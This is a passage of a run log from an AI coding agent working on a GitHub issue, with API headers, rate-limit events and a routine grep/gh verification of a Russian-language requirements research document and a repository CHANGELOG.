\"req_011CfXP8fL6GkcpD5gT7qNHn\",\n[2026-09-29T08:03:29.663Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:29.666Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:29.667Z] [STDOUT]     traceresponse: \"00-8a528a192b416f66bd24aa593442de1e-e165b171cd0991e5-01\",\n[2026-09-29T08:03:29.670Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:29.674Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:29.678Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:29.681Z] [STDOUT]   },\n[2026-09-29T08:03:29.683Z] [STDOUT]   durationMs: 781,\n[2026-09-29T08:03:29.686Z] [STDOUT] }\n[2026-09-29T08:03:29.688Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:29.690Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:29 GMT\",\n[2026-09-29T08:03:29.693Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:29.696Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:29.698Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:29.699Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:29.703Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:29.708Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:29.710Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:29.715Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:29.718Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:29.722Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:29.726Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:29.731Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:29.734Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:29.740Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:29.747Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:29.751Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.754Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:29.756Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:29.759Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:29.766Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:29.770Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.773Z] [STDOUT]   \"request-id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\",\n[2026-09-29T08:03:29.776Z] [STDOUT]   \"traceresponse\": \"00-8a528a192b416f66bd24aa593442de1e-e165b171cd0991e5-01\",\n[2026-09-29T08:03:29.780Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:29.783Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:29.786Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:29.791Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:29.795Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:29.799Z] [STDOUT]   \"cf-ray\": \"a42978b8ba285d90-FRA\",\n[2026-09-29T08:03:29.802Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:29.807Z] [STDOUT] [log_8b47a0] response parsed {\n[2026-09-29T08:03:29.811Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:29.813Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:29.817Z] [STDOUT]   body: X {\n[2026-09-29T08:03:29.822Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:29.826Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:29.832Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:29.837Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:29.840Z] [STDOUT]     },\n[2026-09-29T08:03:29.844Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:29.848Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:29.850Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:29.852Z] [STDOUT]   },\n[2026-09-29T08:03:29.854Z] [STDOUT]   durationMs: 782,\n[2026-09-29T08:03:29.857Z] [STDOUT] }\n[2026-09-29T08:03:30.071Z] [INFO] {\n[2026-09-29T08:03:30.071Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:30.071Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:30.071Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:03:30.071Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:30.071Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:30.071Z] [INFO]   \"uuid\": \"2344f360-18aa-47fd-b559-b087163b204e\"\n[2026-09-29T08:03:30.071Z] [INFO] }\n[2026-09-29T08:03:31.099Z] [INFO] {\n[2026-09-29T08:03:31.099Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:31.099Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:31.099Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T08:03:31.099Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:31.099Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.099Z] [INFO]   \"uuid\": \"991d4b3c-e88b-4984-b1e2-dff641e59a7b\"\n[2026-09-29T08:03:31.099Z] [INFO] }\n[2026-09-29T08:03:31.803Z] [INFO] {\n[2026-09-29T08:03:31.803Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:31.803Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:31.803Z] [INFO]   \"estimated_tokens\": 285,\n[2026-09-29T08:03:31.803Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:31.803Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.803Z] [INFO]   \"uuid\": \"f83bea4d-52e1-4f24-9f3a-7288de207e72\"\n[2026-09-29T08:03:31.803Z] [INFO] }\n[2026-09-29T08:03:31.811Z] [INFO] {\n[2026-09-29T08:03:31.811Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"message\": {\n[2026-09-29T08:03:31.811Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"id\": \"msg_011CfXP8fvZS1kEEUxGJyNJ7\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"content\": [\n[2026-09-29T08:03:31.811Z] [INFO]       {\n[2026-09-29T08:03:31.811Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:03:31.811Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:03:31.811Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:03:31.811Z] [INFO]     ],\n[2026-09-29T08:03:31.811Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:31.811Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:31.811Z] [INFO]       \"cache_creation_input_tokens\": 2082,\n[2026-09-29T08:03:31.811Z] [INFO]       \"cache_read_input_tokens\": 91791,\n[2026-09-29T08:03:31.811Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:31.811Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:31.811Z] [INFO]         \"ephemeral_1h_input_tokens\": 2082\n[2026-09-29T08:03:31.811Z] [INFO]       },\n[2026-09-29T08:03:31.811Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:31.811Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:31.811Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:31.811Z] [INFO]     },\n[2026-09-29T08:03:31.811Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:31.811Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:31.811Z] [INFO]   },\n[2026-09-29T08:03:31.811Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:31.811Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"uuid\": \"0a327010-d28b-4943-a1ff-60130a531cdc\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:31.802Z\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"request_id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\"\n[2026-09-29T08:03:31.811Z] [INFO] }\n[2026-09-29T08:03:31.822Z] [INFO] {\n[2026-09-29T08:03:31.822Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"message\": {\n[2026-09-29T08:03:31.822Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"id\": \"msg_011CfXP8fvZS1kEEUxGJyNJ7\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"content\": [\n[2026-09-29T08:03:31.822Z] [INFO]       {\n[2026-09-29T08:03:31.822Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:31.822Z] [INFO]         \"text\": \"Two more spot checks: whether \\\"declared input, contract, gate\\\" are among the 12 constructs, and whether the mango_ba_prompts CHANGELOG records the 23-file split.\"\n[2026-09-29T08:03:31.822Z] [INFO]       }\n[2026-09-29T08:03:31.822Z] [INFO]     ],\n[2026-09-29T08:03:31.822Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:31.822Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:31.822Z] [INFO]       \"cache_creation_input_tokens\": 2082,\n[2026-09-29T08:03:31.822Z] [INFO]       \"cache_read_input_tokens\": 91791,\n[2026-09-29T08:03:31.822Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:31.822Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:31.822Z] [INFO]         \"ephemeral_1h_input_tokens\": 2082\n[2026-09-29T08:03:31.822Z] [INFO]       },\n[2026-09-29T08:03:31.822Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:31.822Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:31.822Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:31.822Z] [INFO]     },\n[2026-09-29T08:03:31.822Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:31.822Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:31.822Z] [INFO]   },\n[2026-09-29T08:03:31.822Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:31.822Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"uuid\": \"f417247a-c486-4fbd-8f98-fb3a4179d1b6\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:31.804Z\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"request_id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\"\n[2026-09-29T08:03:31.822Z] [INFO] }\n[2026-09-29T08:03:33.591Z] [INFO] {\n[2026-09-29T08:03:33.591Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"message\": {\n[2026-09-29T08:03:33.591Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"id\": \"msg_011CfXP8fvZS1kEEUxGJyNJ7\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"content\": [\n[2026-09-29T08:03:33.591Z] [INFO]       {\n[2026-09-29T08:03:33.591Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:33.591Z] [INFO]         \"id\": \"toolu_01QKfJ8RCCxejRvPPaYkcGi7\",\n[2026-09-29T08:03:33.591Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:33.591Z] [INFO]         \"input\": {\n[2026-09-29T08:03:33.591Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n -i '\u0432\u0445\u043e\u0434\\\\|\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0433\u0435\u0439\u0442\\\\|gate' research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md | head -15; echo ---; gh api repos/G-Ivan-A/mango_ba_prompts/contents/CHANGELOG.md --jq .content | base64 -d | grep -n -i '23\\\\|\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f' | head -5\",\n[2026-09-29T08:03:33.591Z] [INFO]           \"description\": \"Verify constructs list and CHANGELOG split entry\"\n[2026-09-29T08:03:33.591Z] [INFO]         },\n[2026-09-29T08:03:33.591Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:33.591Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:33.591Z] [INFO]         }\n[2026-09-29T08:03:33.591Z] [INFO]       }\n[2026-09-29T08:03:33.591Z] [INFO]     ],\n[2026-09-29T08:03:33.591Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:33.591Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:33.591Z] [INFO]       \"cache_creation_input_tokens\": 2082,\n[2026-09-29T08:03:33.591Z] [INFO]       \"cache_read_input_tokens\": 91791,\n[2026-09-29T08:03:33.591Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:33.591Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:33.591Z] [INFO]         \"ephemeral_1h_input_tokens\": 2082\n[2026-09-29T08:03:33.591Z] [INFO]       },\n[2026-09-29T08:03:33.591Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:33.591Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:33.591Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:33.591Z] [INFO]     },\n[2026-09-29T08:03:33.591Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:33.591Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:33.591Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:33.591Z] [INFO]   },\n[2026-09-29T08:03:33.591Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:33.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"uuid\": \"e10772a9-7ffc-4c33-b1ee-f51fea193736\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:33.578Z\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"request_id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:33.591Z] [INFO]     \"toolu_01QKfJ8RCCxejRvPPaYkcGi7\": {\n[2026-09-29T08:03:33.591Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n -i '\u0432\u0445\u043e\u0434\\\\|\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0433\u0435\u0439\u0442\\\\|gate' research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md | head -15; echo ---; gh api repos/G-Ivan-A/mango_ba_prompts/contents/CHANGELOG.md --jq .content | base64 -d | grep -n -i '23\\\\|\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f' | head -5\",\n[2026-09-29T08:03:33.591Z] [INFO]       \"description\": \"Verify constructs list and CHANGELOG split entry\"\n[2026-09-29T08:03:33.591Z] [INFO]     }\n[2026-09-29T08:03:33.591Z] [INFO]   }\n[2026-09-29T08:03:33.591Z] [INFO] }\n[2026-09-29T08:03:33.642Z] [INFO] {\n[2026-09-29T08:03:33.642Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T08:03:33.642Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T08:03:33.642Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T08:03:33.642Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T08:03:33.642Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T08:03:33.642Z] [INFO]     \"utilization\": 0.78,\n[2026-09-29T08:03:33.642Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T08:03:33.642Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T08:03:33.642Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T08:03:33.642Z] [INFO]       \"five_hour\": {\n[2026-09-29T08:03:33.642Z] [INFO]         \"utilization\": 0.47,\n[2026-09-29T08:03:33.642Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T08:03:33.642Z] [INFO]       },\n[2026-09-29T08:03:33.642Z] [INFO]       \"seven_day\": {\n[2026-09-29T08:03:33.642Z] [INFO]         \"utilization\": 0.78,\n[2026-09-29T08:03:33.642Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T08:03:33.642Z] [INFO]       }\n[2026-09-29T08:03:33.642Z] [INFO]     }\n[2026-09-29T08:03:33.642Z] [INFO]   },\n[2026-09-29T08:03:33.642Z] [INFO]   \"uuid\": \"065eec21-1716-4735-9691-7f63477c7049\",\n[2026-09-29T08:03:33.642Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:33.642Z] [INFO] }\n[2026-09-29T08:03:35.534Z] [INFO] {\n[2026-09-29T08:03:35.534Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:35.534Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:03:35.534Z] [INFO]   \"tasks\": [\n[2026-09-29T08:03:35.534Z] [INFO]     {\n[2026-09-29T08:03:35.534Z] [INFO]       \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:03:35.534Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:03:35.534Z] [INFO]       \"description\": \"Wait for CI runs to finish\"\n[2026-09-29T08:03:35.534Z] [INFO]     }\n[2026-09-29T08:03:35.534Z] [INFO]   ],\n[2026-09-29T08:03:35.534Z] [INFO]   \"uuid\": \"768f01f5-8311-4c16-aff7-4f34d48eca61\",\n[2026-09-29T08:03:35.534Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:35.534Z] [INFO] }\n[2026-09-29T08:03:35.537Z] [INFO] {\n[2026-09-29T08:03:35.537Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"task_id\": \"bciyyo5i9\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"patch\": {\n[2026-09-29T08:03:35.537Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T08:03:35.537Z] [INFO]     \"end_time\": 1790669015510\n[2026-09-29T08:03:35.537Z] [INFO]   },\n[2026-09-29T08:03:35.537Z] [INFO]   \"uuid\": \"e1242bb5-7bc0-4dd7-8a37-ff31d0486f77\",\n[2026-09-29T08:03:35.537Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:35.537Z] [INFO] }\n[2026-09-29T08:03:35.540Z] [INFO] {\n[2026-09-29T08:03:35.540Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"task_id\": \"bciyyo5i9\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"tool_use_id\": \"toolu_01UHkgRF2UyKgcXL6pYGEfZq\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"summary\": \"Background command \\\"Install package deps and rerun execution-package test\\\" completed (exit code 0)\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"uuid\": \"dd6b2bb4-1f96-4f09-86d0-4842df616120\",\n[2026-09-29T08:03:35.540Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:35.540Z] [INFO] }\n[2026-09-29T08:03:35.699Z] [INFO] {\n[2026-09-29T08:03:35.699Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"message\": {\n[2026-09-29T08:03:35.699Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:35.699Z] [INFO]     \"content\": [\n[2026-09-29T08:03:35.699Z] [INFO]       {\n[2026-09-29T08:03:35.699Z] [INFO]         \"tool_use_id\": \"toolu_01QKfJ8RCCxejRvPPaYkcGi7\",\n[2026-09-29T08:03:35.699Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:35.699Z] [INFO]         \"content\": \"26:> **\u044f\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430**, \u0437\u0430\u0449\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u043d\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 `SKILL.md` \u043e\u0442\\n35:[\u0441\u043d\u0438\u043c\u043a\u0430 \u0432\u0445\u043e\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md):\\n53:| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n54:| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n57:| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n58:| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n60:| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n61:| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n63:| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n74:1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n75:   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n84:3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\\n104:| \u0413\u0435\u0439\u0442\u044b `GT-1`\u2026`GT-4`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-*` | \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u044c \u0438 \u043c\u043e\u0434\u0443\u043b\u0438 `M1`\u2013`M4` | \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e | \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430 |\\n---\\n40:  